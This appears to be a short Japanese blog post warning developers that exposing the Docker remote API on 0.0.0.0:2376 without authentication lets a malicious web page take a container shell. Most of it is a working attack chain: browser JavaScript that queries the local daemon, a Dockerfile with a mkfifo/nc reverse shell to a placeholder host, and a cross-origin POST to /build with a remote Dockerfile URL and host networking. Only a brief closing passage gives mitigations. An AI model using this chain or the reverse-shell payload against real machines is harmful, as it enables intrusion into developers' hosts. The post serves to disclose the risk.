Oculus Go で目がヤバ。

概要

Docker には REST API があって、クライアントはそれを通してDockerを自在に操作できる。
「開発環境だから…」という気持ちで dockerd -H tcp://0.0.0.0:2376 みたいに動作させると、悪意あるサイトを閲覧するだけでコンテナの Shell が取られるみたいなことが発生するので、開発環境でも証明書を使った認証を行うなどしたほうが良い。

悪用例

docker remote api tcp とかで検索すると以下のようなエントリがヒットする。

/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376

この設定はあまりよくなくて、例えば、悪意のあるサイトに以下のような JavaScript が設置されているとする。

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://127.0.0.1:2376/containers/json', true);
xhr.send(null);

上記の設定で Dockerd が動作している環境で、このような JavaScript が動作しているページへアクセスすると、当然ながらリクエストを処理してしまう。
なので、どのようなコンテナが動作しているかなど、 GET で取れる(というよりSOPで守られない)情報は取得される可能性がある。

Get a shell

Docker Remote API は JSON を POST するAPIがある。例えばコンテナの作成などだ。
JSON での POST は Content-Type: application/json となるので、 preflight が飛んで SOP (Same Origin Policy) で守られる。
なのでコンテナの作成とかしてRCEみたいなのは無理…と思いきや、できる。

Docker Remote API で Dockerfile を Build してしまえば良い。

Dockerfile は application/x-tar でアップロードする必要はなく、 remote パラメータで指定したURLが単純なテキストファイルの場合は、そのまま Dockerfile として Build される。便利。

以下のような Dockerfile を gist.github.com なりに用意する。

FROM alpine
RUN apk update && apk add netcat-openbsd && apk add bash
RUN rm -f /tmp/f; mkfifo /tmp/f
RUN /bin/bash -c 'cat /tmp/f | /bin/sh -i 2>&1 | nc <ip> <port> > /tmp/f'

そして以下のような JavaScipt を用意して踏ませればコンテナの Shell が取れる。

var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://127.0.0.1:2376/build?remote=https://gist.githubusercontent.com/<ry>/Dockerfile&q=true&networkmode=host', true);
xhr.send(null);

対策

ちょっと面倒くさいが開発環境でも証明書による認証を行うのがベストだろう。

あとは、本質的な解決ではないが、2376のような Docker が使いそうなポートじゃなく、別のポートで動作させるみたいな緩和策を取るとか。